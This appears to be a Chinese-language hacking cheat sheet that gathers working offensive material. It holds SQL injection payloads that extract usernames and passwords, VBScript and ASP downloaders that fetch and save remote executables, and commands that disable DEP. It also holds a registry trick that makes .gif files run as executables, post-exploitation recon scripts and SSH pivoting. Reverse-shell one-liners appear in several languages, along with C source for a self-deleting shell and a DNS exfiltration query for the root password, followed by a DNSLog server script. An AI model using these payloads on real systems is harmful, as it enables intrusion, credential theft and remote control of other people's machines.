安全技术

使用GDB对GCC编译出的ELF文件进行调试。
首先在编译的时候,需要加上-g参数:
gcc -g -o test test.c -Wall
这样才能在编译的时候产生符号表,GDB才可以载入。
编译好程序以后,使用gdb test载入程序
添加断点:b 行号
运行:r
单步执行(next):n
跟踪步入(step):s
恢复执行(continue):c
打印变量值(print):p 变量名
查看断点信息:info b
列出源代码(list)l
退出:q

汇编相关:
查看汇编格式:show disassembly-flavor
将汇编格式转换成intel:set disassembly-flavor intel
将汇编格式转换成at&t:set disassembly-flavor att
显示汇编代码:disassemble 函数名

快捷键 作用
Alt+T 搜索文本
Ctrl+1 Quick View导航
空格键 图形视图/汇编视图切换
Shift+F3 切换到Functions窗口
Shift+F4 切换到Names窗口
Shift+F7 切换到Segments窗口
Shift+F12 切换到Strings窗口
IDA View内
Ctrl+Enter 前进(函数调用)
Esc 后退(函数调用)

MYSQL篇
1.内置函数和变量

1
@@datadir,version(),database(),user(),load_file(),outfile() 

2.利用concat(),group_concat(),concat_ws()拼接查询结果
实例:

1
2
xxx.php?id=1 and 1=2 union select 1,
group_concat(username,0x3a,password),3 from user

3.使用内建数据库查询表段和字段
查表段:

1
2
3
xxx.php?id=1 and 1=2 union select 1,2,table_name from 
(select * from information_schema.tables where table_schema=数据库名的hex
order by table_schema limit 0,1)t limit 1–

查字段:

1
2
3
xxx.php?id=1 and 1=2 union select 1,2,column_name from 
(select * from information_schema.columns where table_name=表名的hex
and table_schema=数据库名hex值 order by 1 limit 1,1)t limit 1–

这里可以再结合下concat的拼接功能

1
2
3
4
xxx.php?id=1 and 1=2 union select 1,2,group_concat(column_name,0x20) 
from (select * from information_schema.columns where table_name=表名的hex
and table_schema=数据库名hex值 order by 1 limit 0,n)t limit 1–
[n表示第n条数据]

Access篇

猜表名

1
*.asp?id=1 and exists (select * from admin)

猜列名

1
*.asp?id=1 and exists (select password from admin)

Order by查询

1
*.asp?id=1 order by 3

union 查询

1
*.asp?id=1 union select 1,password,3 from admin

不支持union的情况
先判断内容的长度

1
*.asp?id=132 and (select top 1 len(user) from admin) >5

然后一个一个猜

1
*.asp?id=132 and (select top 1 asc(mid(user,1,1)) from admin)>97

例如确定asc(mid(user,1,1))的值是97,即可判断出user的第一个字符为a
确定了之后继续从第二个位置猜

1
*.asp?id=132 and (select top 1 asc(mid(user,2,1)) from admin)>97

以此类推

MSSQL篇
基于报错的MSSQL注入:
判断是否是MSSQL

1
'and exists (select * from sysobjects) --

如果返回正常,就说明是MSSQL,否则当sysobjects不存在,是会报错的。

猜表名:

1
'and exists(select * from admin)--

如果存在,会返回正常页面,否则报错,就是不存在。

Windows XP SP3
在Windows XP SP3中,关闭DEP的方法是:
编辑C:\boot.ini,你大概会看到如下内容

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" 
/noexecute=optin /fastdetect

要关闭DEP,将/noexecute=optin 改为/excute,重启系统即可。

Windows 7
Windows7中不是通过boot.ini来保护了,需要在命令行中输入bcdedit,如果观察到输出的最后一项为
nx 1
表示DEP保护是开启的,并且级别为1
只需要运行

bcdedit /set nx alwaysoff

就可以了,然后重启系统。

Downloader 1

1
2
3
4
5
6
7
8
9
10
11
12
Set args = Wscript.Arguments
Url = "http://x.x.x.x/x.exe"
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", Url, False
xHttp.Send
with bStrm
.type = 1 '
.open
.write xHttp.responseBody
.savetofile " C:\%homepath%\file", 2 '
end with

Downloader 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName, s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
.Close()
End With
Set Ads = Nothing
End Sub

eWebEditor_SaveRemoteFile "c:\x.exe", "http://x.x.x.x/x.exe"
%>

1
2
3
4
5
6
7
8
@echo off 
color 1A
ECHO Windows Registry Editor Version 5.00>gif.reg
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.gif]>>gif.reg
ECHO "Content Type"="application/x-msdownload">>gif.reg
ECHO @="exefile">>gif.reg
regedit /s gif.reg>nul 2>nul
del /s gif.reg>nul 2>nul

Get System Info

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
@echo off
ipconfig /all
net start
tasklist /v
net user
net localgroup administrator
netstat -ano
net use
net view
net view /domain
net group /domain
net group "domain users" /domain
net group "domain admins" /domain
net group "domain controllers" /domain
net group "exchange domain servers" /domain
net group "exchange servers" /domain
net group "domain computers" /domain
echo #########system info collection
systeminfo
ver
hostname
net user
net localgroup
net localgroup administrators
net user guest
net user administrator
echo #######at- with atq#####
echo schtask /query
echo
echo ####task-list#############
tasklist /svc
echo
echo ####net-work infomation
ipconfig/all
route print
arp -a
netstat -anipconfig /displaydns
echo
echo #######service############
sc query type= service state= all
echo #######file-##############
cd \
tree -F

Get Task List

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
''''''''''''''''''''''''''''''''''''
' tasktool.vbs@b4dboy
''''''''''''''''''''''''''''''''''''

On Error Resume Next
Dim obj, pross, pid, killName
pid = WScript.Arguments(1)
killName = WScript.Arguments(0)

Set obj = GetObject("Winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set pross = obj.Execquery("Select * From Win32_Process")
Wscript.echo "[PID]" & VbTab & "[ProName]"

For Each proccess In pross
If (WScript.Arguments.Count = 2) And (CStr(pid) = CStr(proccess.ProcessID)) Then
proccess.Terminate 0
ElseIf Ucase(proccess.Name) = Ucase(killName) Then
proccess.Terminate 0
Else
WScript.echo proccess.ProcessID & VbTab & proccess.Name
End If
Next

在很多时候拿到了内网的一台主机,我们需要用它做跳板来对内网进一步扩大战果。
也许方法很多,meterpreter,nc等等。但是最方便也最有可能穿透防火墙的方法,就是用ssh。
分为四种类型:
本地转发,远程转发,跳板转发,动态转发。
本地转发
假设攻击机A主机为本机,ip是y.y.y.y,用户是hacker,被攻击且用作跳板的主机是B,ip是
x.x.x.x,对应的内网ip是10.0.0.2,用户是root,ssh的端口是22。
假设B机器上的80端口开放了一个服务,但是只有B主机本机上才能访问,这时候可以使用本地转
发,在A机器上执行命令:

1
ssh -L 8080:localhost:80 [email protected] 

这样,在本机A中访问localhost:80,数据被转发到B主机的80端口,即实现了访问B机器的本地
服务。
很常见的一个实例就是攻击者拿下了某目标内部的网关服务器,但是出于安全考虑网管的web控
制台界面只有在网关服务器自身上才能访问,这时候就可以通过这种方式转发流量,方便的操作
网关服务器的web控制台了。
上面的情况,是基于A主机可以ssh到B的情况,但假如从A到B的ssh连接被拒绝,而恰好B主机的
防火墙没有禁止其使用ssh外连,这时候就可以通过远程转发来实现上述同样的效果。
在B机器上执行命令:

1
ssh -R 8080:localhost80 [email protected] 

这时候在A机器上访问自身的8080端口,数据也是被转发到了B主机的80端口上的。
可见,这种方式受到的局限比较多,因为如果能够在B主机上使用ssh外连了,还需要通过ssh来
转发流量的情况也是很少见的,但也不是没有。
以上两种转发,都是只对跳板服务器自身的服务,很多时候,渗透需要的是内网中一台稳定的跳板,
这时候就可以使用
跳板转发来实现多主机之间转发。
假设现在需要通过B主机作为跳板,来访问与B处于同一内网中的机器C的80端口,假设C的ip是
10.0.0.3,这时候可以在攻击机上执行如下命令:

1
ssh -g -L 8080:10.0.0.3:80 [email protected] 

此时在A主机上8080端口的流量就被转发到C主机的80端口上了。
最有用的就是最后要介绍的,
动态转发,这种转发可以将流量随心所欲的转发,此时实现的效果就相当于代理服务器,在A机器
上用下面的命令实现:

1
ssh -D 8080 [email protected] 

此时在A机器上配置SOCKS代理端口localhost:8080,就可以以B为代理服务器随心所欲的畅游。
最后补充使用ssh进行X转发的命令,其实很简单:

1
ssh -X [email protected] 

这样连接上以后,目标机器的X服务器所做的操作都会通过x协议发送到本地,很方便的实现了可
视化操作。
例如在终端输入firefox,就可以在本地弹出一个实际上运行在远程的firefox进程。

bash

1
$ bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

perl

1
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.88.20",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php

1
php -r '$sock=fsockopen("x.x.x.x",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby

1
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

nc

1
$ nc -e /bin/sh 10.0.0.1 1234
1
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
1
$ nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

jsp

1
2
3
r = Runtime.getRuntime() 
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

C

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char *argv[])
{
int fd;
struct sockaddr_in sin;
char rms[21]="rm -f ";
daemon(1,0);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(argv[1]); // host
sin.sin_port = htons(atoi(argv[2])); // port
bzero(argv[1],strlen(argv[1])+1+strlen(argv[2]));
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
perror("[-] connect()");
exit(0);
}
strcat(rms, argv[0]);
system(rms);
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execl("/bin/sh","sh -i", NULL);
close(fd);
}

DNSLog,简单来说,就是通过记录对于域名的DNS请求,通过dns请求这个相对“隐蔽”的渠道,来委婉地获取到想要获得的信息。
例如,在一个针对mysql数据库的注入中,如果没有回显,可能很多时候就要歇菜。
但如果对方的数据库服务器连接公网并且是Windows机器的话,就可以用这种姿势来获取信息:

1
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM user WHERE user='root' LIMIT 1),'.nogan.ga\\xxx'))

你将会看到类似:

当然你可能会说直接用http协议传输不就好了吗,确实http协议也可以,但是http协议毕竟有局限的地方,例如容易被防火墙限制等。
而dns作为一种基础协议有时候并不会被随便禁用,一些内网当中对于DNS协议的管控和检测是个薄弱的点,相对http来说DNS协议也更加隐蔽。

近几年DNSLog被尤其广泛地运用于无回显的SQL注入、命令执行、XML实体注入等漏洞的检测当中,算是一门很基础的老技术了。

关于DNSLog的具体应用,这里就不多说了,感兴趣的可以进一步阅读以下文章:

1
2
3
4
5
https://www.anquanke.com/post/id/98096

http://www.freebuf.com/column/158579.html

https://www.cnblogs.com/afanti/p/8047530.html

那么如何低成本搭建dnslog服务器?接下来就来简要分享一个低成本构建DNSLog服务的方法。

准备材料:

(1) 一台低成本的VPS:这里推荐使用某国外的便宜VPS,完整root权限,单核512MB/10GSSD,¥128/年,购买链接在文章最后
(2) 一个可以接收邮件的邮箱:用来注册免费域名

搭建过程

注册域名

首先到 https://freenom.com 注册用户,同时注册一个免费的域名
以我这里为例,注册一个nogan.ga

注册的时候,在DNS选项中,选择使用自己的DNS,新建DNS服务器的地址,例如我这里自定义了两个dns服务器,分别是
ns0.nogan.ga和ns1.nogan.ga,并且将他们的地址指向我的VPS服务器。

点击Continue,进入到结算页面。
如果你上一步没有注册用户,那么可以直接在这里填你用来注册用户的邮箱,然后根据指引进行操作。
如果注册了用户,只需要直接登录就可以了。

进入到Review and Checkout页面,填入一些你的基本信息就可以了

这里记得勾选Lock profile,你的信息就不会被whois查询到了。

接着下一步,勾选Complate Order,域名就注册成功了。

部署DNS服务

登录你的VPS服务器,运行下面这个python脚本,将在你的VPS主机监听UDP 53端口,并且回复DNS响应包:

记得修改IP地址和NS域名,在最后。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2014-06-29 03:01:25
# @Author : Your Name ([email protected])
# @Link : http://example.org
# @Version : $Id$

import SocketServer
import struct
import socket as socketlib
# DNS Query
class SinDNSQuery:
def __init__(self, data):
i = 1
self.name = ''
while True:
d = ord(data[i])
if d == 0:
break;
if d < 32:
self.name = self.name + '.'
else:
self.name = self.name + chr(d)
i = i + 1
self.querybytes = data[0:i + 1]
(self.type, self.classify) = struct.unpack('>HH', data[i + 1:i + 5])
self.len = i + 5
def getbytes(self):
return self.querybytes + struct.pack('>HH', self.type, self.classify)



# DNS Answer RRS
# this class is also can be use as Authority RRS or Additional RRS
class SinDNSAnswer:
def __init__(self, ip):
self.name = 49164
self.type = 1
self.classify = 1
self.timetolive = 190
self.datalength = 4
self.ip = ip

def getbytes(self):
res = struct.pack('>HHHLH', self.name, self.type, self.classify, self.timetolive, self.datalength)
s = self.ip.split('.')
res = res + struct.pack('BBBB', int(s[0]), int(s[1]), int(s[2]), int(s[3]))
return res

# DNS frame
# must initialized by a DNS query frame
class SinDNSFrame:
def __init__(self, data):
(self.id, self.flags, self.quests, self.answers, self.author, self.addition) = struct.unpack('>HHHHHH', data[0:12])
self.query = SinDNSQuery(data[12:])

def getname(self):
return self.query.name

def setip(self, ip):
self.answer = SinDNSAnswer(ip)
self.answers = 1
self.flags = 33152

def getbytes(self):

res = struct.pack('>HHHHHH', self.id, self.flags, self.quests, self.answers, self.author, self.addition)
res = res + self.query.getbytes()
if self.answers != 0:
res = res + self.answer.getbytes()
return res

# A UDPHandler to handle DNS query
class SinDNSUDPHandler(SocketServer.BaseRequestHandler):
def handle(self):
data = self.request[0].strip()
dns = SinDNSFrame(data)
socket = self.request[1]
namemap = SinDNSServer.namemap
if(dns.query.type==1):
# If this is query a A record, then response it
name = dns.getname();
toip = None
ifrom = "map"
if namemap.__contains__(name):
# If have record, response it
# dns.setip(namemap[name])
# socket.sendto(dns.getbytes(), self.client_address)
toip = namemap[name]
elif namemap.__contains__('*'):
# Response default address
# dns.setip(namemap['*'])
# socket.sendto(dns.getbytes(), self.client_address)
toip = namemap['*']
else:
# ignore it
# socket.sendto(data, self.client_address)
# socket.getaddrinfo(name,0)
try:
toip = socketlib.getaddrinfo(name,0)[0][4][0]
ifrom = "sev"
# namemap[name] = toip
# print socket.getaddrinfo(name,0)
except Exception, e:
print 'get ip fail'
if toip:
dns.setip(toip)

print '%s: %s-->%s (%s)'%(self.client_address[0], name, toip, ifrom)
socket.sendto(dns.getbytes(), self.client_address)
else:
# If this is not query a A record, ignore it
socket.sendto(data, self.client_address)

# DNS Server
# It only support A record query
# user it, U can create a simple DNS server
class SinDNSServer:
def __init__(self, port=53):
SinDNSServer.namemap = {}
self.port = port

def addname(self, name, ip):
SinDNSServer.namemap[name] = ip

def start(self):
HOST, PORT = "0.0.0.0", self.port
server = SocketServer.UDPServer((HOST, PORT), SinDNSUDPHandler)
server.serve_forever()

# Now, test it
if __name__ == "__main__":
sev = SinDNSServer()
sev.addname('ns0.nogan.ga','x.x.x.x')
sev.addname('ns1.nogan.ga','x.x.x.x')
sev.addname('www.nogan.ga','y.y.y.y')
sev.addname('*', '127.0.0.1') # default address

sev.start() # start DNS server


将上面的ns0.nogan.ga和ns1.nogan.ga改成你的域名,并且将x.x.x.x改成你的VPS服务器地址。
如果你在搭建DNSLog的同时还想顺便搭建一个网站的话,可以添加一个www记录,指向你的web服务器地址。
星号是将任意地址执行127.0.0.1,这样你的DNSLog请求记录,都会被默认解析到127.0.0.1。

接着在服务器上运行

1
python dns.py

在任意机器上面ping xxxxx.YOURDOMAIN:

可以在VPS上观察到请求已经过来了

但这个时候程序是一直在控制台运行的,想要退出怎么办呢,用nohup将程序改为背景运行:

想要关闭的话,先查看端口并获取进程号,然后kill即可:

Enjoy it~

附:

搬瓦工VPS优惠地址 (推荐 $19.99/年,约合RMB¥128):

https://bandwagonhost.com/cart.php
可能要扶梯 = =

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×